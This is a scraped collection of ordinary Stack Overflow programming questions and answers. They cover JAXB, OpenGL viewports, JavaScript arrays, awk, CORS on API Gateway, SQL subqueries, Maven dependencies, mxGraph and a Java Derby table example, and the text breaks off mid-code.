My problem is that I am dealing with 2 different jaxb generated object hierarchies. The objects have the same name and 99.9% the same structure but they are in different packages:

```<code> xy.z.fpml.transparency.IdentifiedCurrency
 xy.z.fpml.recordkeeping.IdentifiedCurrency
</code>```

As you might imagine I can't modify the objects and they have nothing in common that I can link to, no superclass or interface, etc

IntelliJ says it is duplicate code but I have my hands tied. Is there any way to do kind of a generic method that will accept both kind of objects ? Maybe some reflection ? ( I am asumming I can't ...)

答:
If the classes come from jaxb then you probably need to maintain their source, some XSD or Schema document, and not the generated classes itself.

If the problem is only with the IDE warnings then add exception for this case and forget about them.

Body:
My problem is that I am dealing with 2 different jaxb generated object hierarchies. The objects have the same name and 99.9% the same structure but they are in different packages:

 xy.z.fpml.transparency.IdentifiedCurrency
 xy.z.fpml.recordkeeping.IdentifiedCurrency

As you might imagine I can't modify the objects and they have nothing in common that I can link to, no superclass or interface, etc

IntelliJ says it is duplicate code but I have my hands tied. Is there any way to do kind of a generic method that will accept both kind of objects ? Maybe some reflection ? ( I am asumming I can't ...)


问:
OpenGL and SDL, resizing window while keeping internal resolution unaltered?
I am doing a game in OpenGL and using SDL for managing the window, setting the icons, and all that stuff.
Now that I have set rendering the scene to a framebuffer, I wondered if I could resize the SDL window while keeping my starting GL settings (I am trying to emulate a exact resolution so window resizing is a rescale of the framebuffer to the window size)

I tried giving the SDL window double the resolution of the resolution I pass to glortho, but it gives unexpected results©. Is this possible at all, or do I need to adapt my working resolution to the screen resolution all the time?
I use this code to initialize video

```<code>SDL_SetVideoMode(XRES, YRES, bpp, SDL_OPENGL | SDL_HWPALETTE);
gl_init(XRES,YRES);
</code>```

And into gl_init I set glortho to glOrtho(0, width, 0, height, -1, 1), and then the framebuffer "blank" texture to width and height in size, as well.

When the function is called as above, all is well. But if I try something like

```<code>SDL_SetVideoMode(XRES*2, YRES*2, bpp, SDL_OPENGL | SDL_HWPALETTE);
gl_init(XRES,YRES);
</code>```

Instead of getting my expected results (scaled output) I find out that the output is somewhere at the far left on X axis and somewhere in the middle of the Y axis, like if GL size was even bigger than the screen and the rest was cropped out. Is there anything I am missing?

答:
I know this is an old question, but it is a top result on Google and does not have an answer.

You'll need to call glViewport(). Suppose you want your internal resolution as 1024x768, and your window resolution is windowWidth and windowHeight. Before you write to your FBO, call glViewport(0, 0, 1024, 768). Then, before writing your FBO to the window, call glViewport(0, 0, windowWidth, windowHeight).

Body:
I am doing a game in OpenGL and using SDL for managing the window, setting the icons, and all that stuff.
Now that I have set rendering the scene to a framebuffer, I wondered if I could resize the SDL window while keeping my starting GL settings (I am trying to emulate a exact resolution so window resizing is a rescale of the framebuffer to the window size)

I tried giving the SDL window double the resolution of the resolution I pass to glortho, but it gives unexpected results©. Is this possible at all, or do I need to adapt my working resolution to the screen resolution all the time?
I use this code to initialize video

SDL_SetVideoMode(XRES, YRES, bpp, SDL_OPENGL | SDL_HWPALETTE);
gl_init(XRES,YRES);

And into gl_init I set glortho to glOrtho(0, width, 0, height, -1, 1), and then the framebuffer "blank" texture to width and height in size, as well.

When the function is called as above, all is well. But if I try something like

SDL_SetVideoMode(XRES*2, YRES*2, bpp, SDL_OPENGL | SDL_HWPALETTE);
gl_init(XRES,YRES);

Instead of getting my expected results (scaled output) I find out that the output is somewhere at the far left on X axis and somewhere in the middle of the Y axis, like if GL size was even bigger than the screen and the rest was cropped out. Is there anything I am missing?


问:
Can I modify array passed as an argument?
Like in title, can I modify array passed as an argument? (without using return)

```<code>function arrayElementsRemove(array, element) {
    array.filter(item => item != element);
}
</code>```

and then

```<code>it('should remove items from array', () => {
    var array = [1,2,2,3];
    arrayElementsRemove(array, 3);
    expect(array).to.equal([1,2,2]); // fails, array still equals [1,2,2,3]
});
</code>```

答:
Arrays are passed as reference. Your issue is that Array.filter does not change the original array, it returns a new one.

Instead of Array.filter, you should do a loop from length-1 to 0, and when element === array[i] use Array.splice to remove the item.

Your arrayElementsRemove function should look like this:

var arr = [1, 2, 3, 2, 3];

function arrayElementsRemove(array, element) {
    for (var i = array.length-1; i >= 0; i--) {
        if (array[i] === element) {
            array.splice(i, 1);
        }
    }
}

arrayElementsRemove(arr, 3);

console.log(arr);```

Body:
Like in title, can I modify array passed as an argument? (without using return)

function arrayElementsRemove(array, element) {
    array.filter(item => item != element);
}

and then

it('should remove items from array', () => {
    var array = [1,2,2,3];
    arrayElementsRemove(array, 3);
    expect(array).to.equal([1,2,2]); // fails, array still equals [1,2,2,3]
});


问:
Unable to Restore display index in datagridview
So I have a class that I use to filter the results of a datagridview in vb.net. And one of the things I want this class to do, is keep the column order, width, and visibility.

So what I do, is when my search class is instantiated, i create a copy of the columns in a hashtable, for later referencing.

```<code>Private dgv As DataGridView
Private dataSet As DataSet
Private bindingSource As New BindingSource

Dim ht As New Hashtable()

Public Sub new( ByRef dgv As DataGridView, ByVal dataSet As dataset )

    Me.dgv = dgv
    Me.dataSet = dataSet

    For Each col As DataGridViewColumn In dgv.Columns
        ht.Add( col.headertext, col )
    Next

End Sub
</code>```

Then, I filter it like so...

```<code>Public Sub quickFilter( ByVal searchterm As string,  ByVal tablename As String, optional ByVal colname As string = Nothing )

    dgv.DataSource = dataSet
    dgv.DataMember = tablename

    bindingSource.DataSource = CType( dgv.DataSource, DataSet ).Tables.Item( tablename )

    bindingSource.Filter = determineColumnsFilter( searchterm, colname )

    dgv.DataSource = bindingSource.DataSource

    restoreCols()

End Sub
</code>```

The confusing part, is the restore cols function correctly restores width, and visibility, but not the display index. It seems to shuffle the columns around in any which way it chooses.

```<code>Private Sub restoreCols()

    For Each col As DataGridViewColumn In dgv.Columns

        Dim colcopy As DataGridViewColumn = ht( col.headertext )

        col.Width = colcopy.Width
        col.Visible = colcopy.Visible
        col.DisplayIndex = colcopy.DisplayIndex

    Next

End Sub
</code>```

Any idea why the display indexes don't restore properly?

Thanks

答: I found a work around is to have a second hashtable that stores the display index.  For some reason, the way I was doing it originally, the display index was changing. But not the other values I was referencing.</p>

Body:
So I have a class that I use to filter the results of a datagridview in vb.net. And one of the things I want this class to do, is keep the column order, width, and visibility.

So what I do, is when my search class is instantiated, i create a copy of the columns in a hashtable, for later referencing.

Private dgv As DataGridView
Private dataSet As DataSet
Private bindingSource As New BindingSource

Dim ht As New Hashtable()

Public Sub new( ByRef dgv As DataGridView, ByVal dataSet As dataset )

    Me.dgv = dgv
    Me.dataSet = dataSet

    For Each col As DataGridViewColumn In dgv.Columns
        ht.Add( col.headertext, col )
    Next

End Sub

Then, I filter it like so...

Public Sub quickFilter( ByVal searchterm As string,  ByVal tablename As String, optional ByVal colname As string = Nothing )

    dgv.DataSource = dataSet
    dgv.DataMember = tablename

    bindingSource.DataSource = CType( dgv.DataSource, DataSet ).Tables.Item( tablename )

    bindingSource.Filter = determineColumnsFilter( searchterm, colname )

    dgv.DataSource = bindingSource.DataSource

    restoreCols()

End Sub

The confusing part, is the restore cols function correctly restores width, and visibility, but not the display index. It seems to shuffle the columns around in any which way it chooses.

Private Sub restoreCols()

    For Each col As DataGridViewColumn In dgv.Columns

        Dim colcopy As DataGridViewColumn = ht( col.headertext )

        col.Width = colcopy.Width
        col.Visible = colcopy.Visible
        col.DisplayIndex = colcopy.DisplayIndex

    Next

End Sub

Any idea why the display indexes don't restore properly?

Thanks


问:
Replace single zeros of a tab-separated-values file
How do I replace single zeros (0) with string NA in a tab-separated-values file?

Suppose I have the table:

```<code>0\t0.15\t0t\8.05\t0\t0\t0.15\7.0306\n
5\t0.18\t0\8.05\t0\t0\t0.5t\50\n
1\t15\t0205\t0\t0.16\t200t\40.90\n
</code>```

I would like to get:

```<code>NA\t0.15\NAt\8.05\tNA\tNA\t0.15t\7.0306\n
5\t0.18\tNA\8.05\tNA\tNA\t0.5t\50\n
1\t15\t0205\tNA\t0.16\t200t\40.90\n
</code>```

That is, I would like to match the null measures of the data frame.

答:
awk enables a robust, portable solution:

```<code>awk 'BEGIN {FS=OFS="\t"} {for (i=1; i<=NF; ++i) { if ($i=="0") {$i="NA"} }; print}' file
</code>```

BEGIN {FS=OFS="\t"} tells awk - before input processing begins (BEGIN) -
to split input lines into fields by tab characters (FS="\t") and to also separate them by tab characters on output (OFS="\t").

Reserved variable FS is the [input] field separator; OFS is the output field separator.

for (i=1; i<=NF; ++i) loops over all input fields (NF is the count of input fields), resulting from splitting each input line by tabs.

if ($i=="0") {$i="NA"} tests each field for being identical to string 0 and, if so, replaces that field ($i) with string NA.

On assigning to a field, the input line at hand is implicitly rebuilt from the (modified) field values, using the value of OFS as the separator.

print simply prints the (potentially modified) input line at hand.

Body:
How do I replace single zeros (0) with string NA in a tab-separated-values file?

Suppose I have the table:

0\t0.15\t0t\8.05\t0\t0\t0.15\7.0306\n
5\t0.18\t0\8.05\t0\t0\t0.5t\50\n
1\t15\t0205\t0\t0.16\t200t\40.90\n

I would like to get:

NA\t0.15\NAt\8.05\tNA\tNA\t0.15t\7.0306\n
5\t0.18\tNA\8.05\tNA\tNA\t0.5t\50\n
1\t15\t0205\tNA\t0.16\t200t\40.90\n

That is, I would like to match the null measures of the data frame.

Body:
awk enables a robust, portable solution:

awk 'BEGIN {FS=OFS="\t"} {for (i=1; i<=NF; ++i) { if ($i=="0") {$i="NA"} }; print}' file

BEGIN {FS=OFS="\t"} tells awk - before input processing begins (BEGIN) -
to split input lines into fields by tab characters (FS="\t") and to also separate them by tab characters on output (OFS="\t").

Reserved variable FS is the [input] field separator; OFS is the output field separator.

for (i=1; i<=NF; ++i) loops over all input fields (NF is the count of input fields), resulting from splitting each input line by tabs.

if ($i=="0") {$i="NA"} tests each field for being identical to string 0 and, if so, replaces that field ($i) with string NA.

On assigning to a field, the input line at hand is implicitly rebuilt from the (modified) field values, using the value of OFS as the separator.

print simply prints the (potentially modified) input line at hand.


问:
Method PUT is not allowed by Access-Control-Allow-Methods in preflight response, from AWS API Gateway
I've got API Gateway setup to point to a lambda function, setup as a aws_proxy. I can GET, POST, DELETE just fine, but I'm trying to add a PUT and I getting Method PUT is not allowed by Access-Control-Allow-Methods in preflight response.

XMLHttpRequest cannot load https://api.small.pictures/picture/07e78691-20f9-4a20-8be5-458eaeb73a63. Method PUT is not allowed by Access-Control-Allow-Methods in preflight response.

I think I have my CORS setup properly. Here is the swagger user for the route.

```<code>  '/picture/{picId}':
    options:
      summary: CORS support
      description: |
        Enable CORS by returning correct headers
      consumes:
        - application/json
      produces:
        - application/json
      tags:
        - CORS
      x-amazon-apigateway-integration:
        type: mock
        requestTemplates:
          application/json: |
            {
              "statusCode" : 200
            }
        responses:
          "default":
            statusCode: "200"
            responseParameters:
              method.response.header.Access-Control-Allow-Headers : "'Content-Type,X-Amz-Date,Authorization,X-Api-Key'"
              method.response.header.Access-Control-Allow-Methods : "'*'"
              method.response.header.Access-Control-Allow-Origin : "'*'"
            responseTemplates:
              application/json: |
                {}
      parameters:
        - name: picId
          in: path
          required: true
          type: string
      responses:
        200:
          description: Default response for CORS method
          headers:
            Access-Control-Allow-Headers:
              type: "string"
            Access-Control-Allow-Methods:
              type: "string"
            Access-Control-Allow-Origin:
              type: "string"
    x-amazon-apigateway-any-method:
      produces:
      - "application/json"
      responses:
        200:
          description: "200 response"
          schema:
            $ref: "#/definitions/Empty"
      x-swagger-router-controller: main
      x-lambda-function: ../../swiki/build/picture
      x-amazon-apigateway-integration:
        type: aws_proxy
        httpMethod: POST
        uri: arn:aws:apigateway:us-west-2:lambda:path/2015-03-31/functions/@@LambdaFunctionPicture/invocations
        credentials: @@APIGatewayExecutionRole
</code>```

As you can see I have Access-Control-Allow-Headers, Access-Control-Allow-Methods and Access-Control-Allow-Origin configured.

Why can't I make a PUT request?

答:
Currently, setting '*' on the allowed methods seems not to be supported by most browsers. So you must set the methods explicitly by hand to achieve browser support.

```<code>Access-Control-Allow-Methods: POST, PUT, GET, OPTIONS
</code>```

Access-Control-Allow-Methods

Compatibility notes

The wildcard value (*) that is mentioned in the
  latest specification, is not yet implemented in browsers:

Chromium: Issue 615313

Firefox: bug 1309358

Servo: Issue 13283

Body:
I've got API Gateway setup to point to a lambda function, setup as a aws_proxy. I can GET, POST, DELETE just fine, but I'm trying to add a PUT and I getting Method PUT is not allowed by Access-Control-Allow-Methods in preflight response.

XMLHttpRequest cannot load https://api.small.pictures/picture/07e78691-20f9-4a20-8be5-458eaeb73a63. Method PUT is not allowed by Access-Control-Allow-Methods in preflight response.

I think I have my CORS setup properly. Here is the swagger user for the route.

  '/picture/{picId}':
    options:
      summary: CORS support
      description: |
        Enable CORS by returning correct headers
      consumes:
        - application/json
      produces:
        - application/json
      tags:
        - CORS
      x-amazon-apigateway-integration:
        type: mock
        requestTemplates:
          application/json: |
            {
              "statusCode" : 200
            }
        responses:
          "default":
            statusCode: "200"
            responseParameters:
              method.response.header.Access-Control-Allow-Headers : "'Content-Type,X-Amz-Date,Authorization,X-Api-Key'"
              method.response.header.Access-Control-Allow-Methods : "'*'"
              method.response.header.Access-Control-Allow-Origin : "'*'"
            responseTemplates:
              application/json: |
                {}
      parameters:
        - name: picId
          in: path
          required: true
          type: string
      responses:
        200:
          description: Default response for CORS method
          headers:
            Access-Control-Allow-Headers:
              type: "string"
            Access-Control-Allow-Methods:
              type: "string"
            Access-Control-Allow-Origin:
              type: "string"
    x-amazon-apigateway-any-method:
      produces:
      - "application/json"
      responses:
        200:
          description: "200 response"
          schema:
            $ref: "#/definitions/Empty"
      x-swagger-router-controller: main
      x-lambda-function: ../../swiki/build/picture
      x-amazon-apigateway-integration:
        type: aws_proxy
        httpMethod: POST
        uri: arn:aws:apigateway:us-west-2:lambda:path/2015-03-31/functions/@@LambdaFunctionPicture/invocations
        credentials: @@APIGatewayExecutionRole

As you can see I have Access-Control-Allow-Headers, Access-Control-Allow-Methods and Access-Control-Allow-Origin configured.

Why can't I make a PUT request?

Body:
Currently, setting '*' on the allowed methods seems not to be supported by most browsers. So you must set the methods explicitly by hand to achieve browser support.

Access-Control-Allow-Methods: POST, PUT, GET, OPTIONS

Access-Control-Allow-Methods

Compatibility notes

The wildcard value (*) that is mentioned in the
  latest specification, is not yet implemented in browsers:

Chromium: Issue 615313

Firefox: bug 1309358

Servo: Issue 13283

ContentLicense: CC BY-SA 4.0


问:
SQL ZOO List each continent and the name of the country that comes first alphabetically
Im confused why it could not be

```<code>Select x.continent, x.name
From world x
Where x.name <= ALL (select y.name from world y where x.name=y.name)
ORDER BY name
</code>```

Can anyone please explain to me why it has to be x.continent=y.continent and not x.name=y.name ?

Table

答:
when you use x.name=y.name you are comparing country name from x with the country name from y if both instances have the same country name. That basically would just return you the full table x.

You want to use x.continent=y.continent because you only want to compare the country name of an instance from x with the country name of an instance from y if they share the same continent.

Let me illustrate this step by step with an example:
Here we have a table world and I populated with some data:

```<code>world:

Select  x.continent, x.name
From world x
ORDER BY  name

continent       name
Asia            Afghanistan
Europe          Albania
Africa          Algeria
Europe          Andorra
Africa          Angola
SouthAmerica    Bolivia
SouthAmerica    Brazil
Europe          Hungary
Asia            Japan
Africa          Nigeria
SouthAmerica    Peru
Asia            Taiwan
</code>```

when you execute this query without the WHERE clause in your subquery:

```<code>Select  x.continent, x.name
From world x
Where x.name <= ALL (select y.name from world y)
ORDER BY name
</code>```

you get this

```<code>continent   name
Asia        Afghanistan
</code>```

This is because the where clause filtered out all but one country

```<code>where x.name <= (Afghanistan,Taiwan,Japan,
                 Albania,Hungary,Algeria,Nigeria,Andorra,
                 Angola,Bolivia,Peru,Brazil)
</code>```

and namely, the country name who comes first alphabetically which is Afghanistan.

but since we want to get the first country in each continent we will add x.continent=y.continent to our subquery

```<code>Select  x.continent, x.name
From world x
Where x.name <= ALL (select y.name from world y where x.continent=y.continent)
ORDER BY name
</code>```

what is happening underneath is that now we are only comparing the country name of an instance from x with the country name of an instance from y if they share the same continent. So use continent of Asia for example:

Japen gets filtered out because
Japan <= All(Afghanistan,Taiwan,Japan) is false since Japan is not less or equal to Afghanistan (A comes before J)

Taiwan gets filtered out because
Taiwan <= All(Afghanistan,Taiwan,Japan) is false since Taiwan is not less or equal to Afghanistan.

Afghanistan does not get filtered out because
Afghanistan <= All(Afghanistan,Taiwan,Japan) is true since Afghanistan is equal to Afghanistan

However, if you use x.name=y.name in your subquery then you are essentially comparing each country to itself and they will all get included in your final result set because all country name equals to the country name of itself.

I hope this help and welcome to Stack Overflow. If this answer or any other one solved your issue, please mark it as accepted."

Body:
Im confused why it could not be

Select x.continent, x.name
From world x
Where x.name <= ALL (select y.name from world y where x.name=y.name)
ORDER BY name

Can anyone please explain to me why it has to be x.continent=y.continent and not x.name=y.name ?

Table

Body:
when you use x.name=y.name you are comparing country name from x with the country name from y if both instances have the same country name. That basically would just return you the full table x.

You want to use x.continent=y.continent because you only want to compare the country name of an instance from x with the country name of an instance from y if they share the same continent.

Let me illustrate this step by step with an example:
Here we have a table world and I populated with some data:

world:

Select  x.continent, x.name
From world x
ORDER BY  name

continent       name
Asia            Afghanistan
Europe          Albania
Africa          Algeria
Europe          Andorra
Africa          Angola
SouthAmerica    Bolivia
SouthAmerica    Brazil
Europe          Hungary
Asia            Japan
Africa          Nigeria
SouthAmerica    Peru
Asia            Taiwan

when you execute this query without the WHERE clause in your subquery:

Select  x.continent, x.name
From world x
Where x.name <= ALL (select y.name from world y)
ORDER BY name

you get this

continent   name
Asia        Afghanistan

This is because the where clause filtered out all but one country

where x.name <= (Afghanistan,Taiwan,Japan,
                 Albania,Hungary,Algeria,Nigeria,Andorra,
                 Angola,Bolivia,Peru,Brazil)

and namely, the country name who comes first alphabetically which is Afghanistan.

but since we want to get the first country in each continent we will add x.continent=y.continent to our subquery

Select  x.continent, x.name
From world x
Where x.name <= ALL (select y.name from world y where x.continent=y.continent)
ORDER BY name

what is happening underneath is that now we are only comparing the country name of an instance from x with the country name of an instance from y if they share the same continent. So use continent of Asia for example:

Japen gets filtered out because
Japan <= All(Afghanistan,Taiwan,Japan) is false since Japan is not less or equal to Afghanistan (A comes before J)

Taiwan gets filtered out because
Taiwan <= All(Afghanistan,Taiwan,Japan) is false since Taiwan is not less or equal to Afghanistan.

Afghanistan does not get filtered out because
Afghanistan <= All(Afghanistan,Taiwan,Japan) is true since Afghanistan is equal to Afghanistan

However, if you use x.name=y.name in your subquery then you are essentially comparing each country to itself and they will all get included in your final result set because all country name equals to the country name of itself.

I hope this help and welcome to Stack Overflow. If this answer or any other one solved your issue, please mark it as accepted."


答:
Or you can use next:

```<code>try:
    result = next(t for t in l if t.attr1 == 'T2')
except StopIteration:
    result = None

result
# T(attr1='T2', attr2=2, attr3='1254', attr4='ABC')
</code>```

Title: Python: Check if list of named tuples contains particular attribute value

Body:
Or you can use next:

try:
    result = next(t for t in l if t.attr1 == 'T2')
except StopIteration:
    result = None

result
# T(attr1='T2', attr2=2, attr3='1254', attr4='ABC')


答:
If you need one item and don't necessarily want to pop, you can use next with your existing generator expression:

```<code>result = next(x for x in l if x.attr1 == 'T2')
</code>```

Body:
If you need one item and don't necessarily want to pop, you can use next with your existing generator expression:

result = next(x for x in l if x.attr1 == 'T2')


问:
Add icon inside dropdown menu list
How to Add icon inside DropDown Menu List.My Html Code is below.Please Help I want to Add edit icon and Delete Icon inside dropdown menu list
Edit icon Delete Icon

index.html

```<code><!DOCTYPE html>
<html>
<head>
<title>Edit Page</title>
</head>
<body>
<form action="" method="post">
Action:
<select name="" id="">
<option value="">Select Action</option>
<option value="Edit">Edit</option>
<option value="Delete">Delete</option>
</select>
</br>
<input value="SAVE" type="submit" name="submit">
</form>
</body>
</html>
</code>```

答:
You cannot do that with the option element. You will either have to create a list element from div's or you can use this library. Will solve your purpose.

I hope this helps.

https://tympanus.net/Development/SelectInspiration/index3.html

Title: Add icon inside dropdown menu list

Body:
How to Add icon inside DropDown Menu List.My Html Code is below.Please Help I want to Add edit icon and Delete Icon inside dropdown menu list
Edit icon Delete Icon

index.html

<!DOCTYPE html>

<title>Edit Page</title>

<form action="" method="post">
Action:
<select name="" id="">
<option value="">Select Action</option>
<option value="Edit">Edit</option>
<option value="Delete">Delete</option>
</select>

<input value="SAVE" type="submit" name="submit">
</form>


问:
build maven project with propriatery libraries included
How to create maven pom, which will make project buildable, can I include propriatery jars with my project directly without having to take them from repository? anyone did this before ?

EDIT :

I don't want to make it runnable by building assembly with dependencies jar, I want it to be buildable. So anyone having this project is able to build it, even if jars are nowhere to be found at any repository.

答:
Possible solutions is put your dependencies in src/main/resources then in your pom :

```<code><dependency>
groupId ...
artifactId ...
version ...
<scope>system</scope>
<systemPath>${project.basedir}/src/main/resources/yourJar.jar</systemPath>
</dependency>
</code>```

Note: system dependencies are not copied into resulted jar/war

(see How to include system dependencies in war built using maven)

Body:
Possible solutions is put your dependencies in src/main/resources then in your pom :

<dependency>
groupId ...
artifactId ...
version ...
<scope>system</scope>
<systemPath>${project.basedir}/src/main/resources/yourJar.jar</systemPath>
</dependency>

Note: system dependencies are not copied into resulted jar/war

(see How to include system dependencies in war built using maven)


问:
Opening local files in MxGraph via urlParam
How can I open a local file in grapheditor passing the name via urlParam? I tried with this code in index.html but it does not work.

```<code>      var editor = new EditorUi(new Editor(urlParams['chrome'] == '0', themes));

        try
        {
          editor.open(encodeURI(urlParams['xml']));
        }
        catch (e)
        {
          mxUtils.error('Cannot open ' + urlParams['xml'] +
            ': ' + e.message, 280, true);
        }
</code>```

Thanks in advance.

答:
I had to do the same. It is helpful if you have a server running locally to serve your files. For example:

```<code>python -m SimpleHTTPServer 8000
</code>```

This command will start a simple server so your browser can send AJAX request in order to load files from your filesystem.

I have to assume the following setup: You have mxGraph running in a folder in the file index.html and the same folder contains another folder containing your xmls. Like this:

```<code>index.html
/xmls/1.xml
/xmls/2.xml
...
</code>```

This is were you execute the command to start the server.
Now you can reach your application here: localhost:8000/index.html

You were right by adding a GET parameter in order to identify the file on your hard drive.

for example: localhost:8000/index.html?xml=1.xml

For this example to work the structure should be comparable to the GraphEditor (https://jgraph.github.io/mxgraph/javascript/examples/grapheditor/www/index.html). It would be a good idea to clone this project and play around with it.

Now in your index.html you might add something like this:

```<code>function open_xml_on_init(editorUi) {
var xml_file_path = 'xml/' + urlParams['xml'];
if (urlParams['xml'] != null && urlParams['xml'].length > 0) {
    var splitted = xml_file_path.split('/');
    var only_name = splitted[splitted.length - 1];
    editorUi.editor.filename = only_name;
    var req = mxUtils.get(xml_file_path, mxUtils.bind(this, function (req) {
        if (req.request.status >= 200 && req.request.status <= 299) {
            if (req.request.response.length > 0) {
                editorUi.editor.graph.model.beginUpdate();
                try {
                    var xmlElem = mxUtils.parseXml(req.request.response).documentElement;
                    editorUi.editor.setGraphXml(xmlElem);

                }
                catch (e) {
                    console.error(e);
                }
                finally {
                    editorUi.editor.graph.model.endUpdate();
                }
            }
        }
    }));
}
}
</code>```

Run this method somewhere in your index.html and you are good to go!

```<code>open_xml_on_init(editor_ui);
</code>```

Body:
How can I open a local file in grapheditor passing the name via urlParam? I tried with this code in index.html but it does not work.

      var editor = new EditorUi(new Editor(urlParams['chrome'] == '0', themes));

        try
        {
          editor.open(encodeURI(urlParams['xml']));
        }
        catch (e)
        {
          mxUtils.error('Cannot open ' + urlParams['xml'] +
            ': ' + e.message, 280, true);
        }

Thanks in advance.

Body:
I had to do the same. It is helpful if you have a server running locally to serve your files. For example:

python -m SimpleHTTPServer 8000

This command will start a simple server so your browser can send AJAX request in order to load files from your filesystem.

I have to assume the following setup: You have mxGraph running in a folder in the file index.html and the same folder contains another folder containing your xmls. Like this:

index.html
/xmls/1.xml
/xmls/2.xml
...

This is were you execute the command to start the server.
Now you can reach your application here: localhost:8000/index.html

You were right by adding a GET parameter in order to identify the file on your hard drive.

for example: localhost:8000/index.html?xml=1.xml

For this example to work the structure should be comparable to the GraphEditor (https://jgraph.github.io/mxgraph/javascript/examples/grapheditor/www/index.html). It would be a good idea to clone this project and play around with it.

Now in your index.html you might add something like this:

function open_xml_on_init(editorUi) {
var xml_file_path = 'xml/' + urlParams['xml'];
if (urlParams['xml'] != null && urlParams['xml'].length > 0) {
    var splitted = xml_file_path.split('/');
    var only_name = splitted[splitted.length - 1];
    editorUi.editor.filename = only_name;
    var req = mxUtils.get(xml_file_path, mxUtils.bind(this, function (req) {
        if (req.request.status >= 200 && req.request.status <= 299) {
            if (req.request.response.length > 0) {
                editorUi.editor.graph.model.beginUpdate();
                try {
                    var xmlElem = mxUtils.parseXml(req.request.response).documentElement;
                    editorUi.editor.setGraphXml(xmlElem);

                }
                catch (e) {
                    console.error(e);
                }
                finally {
                    editorUi.editor.graph.model.endUpdate();
                }
            }
        }
    }));
}
}

Run this method somewhere in your index.html and you are good to go!

open_xml_on_init(editor_ui);


问:
Scope of a function as variable attribution to a .click jQuery selection
The script in JavaScript/jQuery :

```<code>// Creation of the variables

var foo = [];
foo.functionForClick = function(){ alert('foo'); }

var bar = [];
bar.functionForClick = function(){ alert('bar'); }

// Attribution of the function to the button
var button;

// button foo
button = foo;
$('#buttonFoo').click(function(){button.functionForClick()});

// button bar, I MUST use the same 'button' variable,
// it's in the script (it's in a for loop...)
button = bar;
$('#buttonBar').click(function(){button.functionForClick();});
</code>```

HTML code

```<code><button id="buttonFoo">
Show Foo
</button>

<button id="buttonBar">
Show Bar
</button>
</code>```

Why, after execution of the script (which reproduces a more complicated script of a web app I'm coding), the "Show Foo" button alert "bar"?

Any solution?

You can have a look of the problem here:

https://jsfiddle.net/hdye648f/

答:
Yes.  button.functionForClick is already a function, so no need to wrap it in the anonymous function.  The extra anonymous function is causing button to be resolved when the function executes, rather than when the function is defined.

Instead of

```<code>$('#buttonFoo').click(function(){button.functionForClick()});
</code>```

do

```<code>$('#buttonFoo').click(button.functionForClick);
</code>```

Body:
The script in JavaScript/jQuery :

// Creation of the variables

var foo = [];
foo.functionForClick = function(){ alert('foo'); }

var bar = [];
bar.functionForClick = function(){ alert('bar'); }

// Attribution of the function to the button
var button;

// button foo
button = foo;
$('#buttonFoo').click(function(){button.functionForClick()});

// button bar, I MUST use the same 'button' variable,
// it's in the script (it's in a for loop...)
button = bar;
$('#buttonBar').click(function(){button.functionForClick();});

HTML code

<button id="buttonFoo">
Show Foo
</button>

<button id="buttonBar">
Show Bar
</button>

Why, after execution of the script (which reproduces a more complicated script of a web app I'm coding), the "Show Foo" button alert "bar"?

Any solution?

You can have a look of the problem here:

https://jsfiddle.net/hdye648f/

Body:
Yes.  button.functionForClick is already a function, so no need to wrap it in the anonymous function.  The extra anonymous function is causing button to be resolved when the function executes, rather than when the function is defined.

Instead of

$('#buttonFoo').click(function(){button.functionForClick()});

do

$('#buttonFoo').click(button.functionForClick);


问:
Syntax Error when trying to make tables with Java DB
```<code>import java.sql.*;   // Needed for JDBC classes
public class StudentDB
{
    public static void main(String[] args)
    {
    final String DB_URL = "jdbc:derby:StudentDB;create=true";

    try{
        Connection conn = DriverManager.getConnection(DB_URL);

        dropTables(conn);

        buildMichaelTable(conn);

        buildEvanTable(conn);

        buildJeffTable(conn);

        conn.close();
    }
    catch (Exception ex)
    {
        System.out.println("ERROR: " + ex.getMessage());
    }
}

public static void dropTables(Connection conn)
{
    System.out.println("Checking for existing tables.");

    try
    {
        Statement stmt = conn.createStatement();

        try
        {
            stmt.execute("DROP TABLE Michael");
            System.out.println("Michael table dropped.");
        }
        catch(SQLException ex)
        {
        }

        try
        {
            stmt.execute("DROP TABLE Evan");
            System.out.println("Evan table dropped.");
        }
        catch(SQLException ex)
        {

        }
        try
        {
            stmt.execute("DROP TABLE Jeff");
            System.out.println("Jeff table dropped.");
        }
        catch(SQLException ex)
        {

        }

    }
    catch(SQLException ex)
    {
        System.out.println("ERROR: " + ex.getMessage());
        ex.printStackTrace();
    }
}
public static void buildMichaelTable(Connection conn)
{
    try
    {
        Statement stmt = conn.createStatement();

        stmt.execute("CREATE TABLE Michael (" +
                "MichaelName CHAR(25), " +
                "MichaelStudentID CHAR(10) NOT NULL PRIMARY KEY, " +
                "MichaelClasses CHAR(25) " +
                "MichaelStudentGrades CHAR(5) " +
                ")");

        stmt.execute("INSERT INTO Michael VALUES ( " +
                "'Michael Goldman', " +
                "'1216145', " +
                "'Programming II', " +
                "4.00 )");

        stmt.execute("INSERT INTO Michael VALUES ( " +
                "' '," +
                "' '," +
                "'Cyber Law', " +
                "3.45 )" );

        stmt.execute("INSERT INTO Michael VALUES ( " +
                "' '," +
                "' '," +
                "'Operating Systems', " +
                "2.90 )");

        System.out.println("Michael table created.");
    }
    catch (SQLException ex)
    {
        System.out.println("ERROR: " + ex.getMessage());
    }

    }
public static void buildEvanTable(Connection conn)
{
    try
    {
        Statement stmt = conn.createStatement();

        stmt.execute("CREATE TABLE Evan (" +
                "EvanName CHAR(25), " +
                "EvanStudentID CHAR(10) NOT NULL PRIMARY KEY, " +
                "EvanClasses CHAR(25) " +
                "EvanStudentGrades CHAR(5) " +
                ")");

        stmt.execute("INSERT INTO Evan VALUES ( " +
                "'Evan Bloom', " +
                "'1412179', " +
                "'Programming II', " +
                "3.45 )");

        stmt.execute("INSERT INTO Evan VALUES ( " +
                "' '," +
                "' '," +
                "'Cyber Law', " +
                "4.00 )");

        stmt.execute("INSERT INTO Evan VALUES ( " +
                "' '," +
                "' '," +
                "'Operating Systems', " +
                "2.90 )");

        System.out.println("Evan table created.");
    }
    catch (SQLException ex)
    {
        System.out.println("ERROR: " + ex.getMessage());
    }

    }
public static void buildJeffTable(Connection conn)
{
    try
    {
        Statement stmt = conn.createStatement();

        stmt.execute("CREATE TABLE Jeff (" +
                "JeffName CHAR(25), " +
                "JeffStudentID CHAR(10) NOT NULL PRIMARY KEY, " +
                "JeffClasses CHAR(25) " +
                "JeffStudentGrades CHAR(5) " +
                ")");

        stmt.execute("INSERT INTO Jeff VALUES ( " +
                "'Jeff Royer', " +
                "'1592179', " +
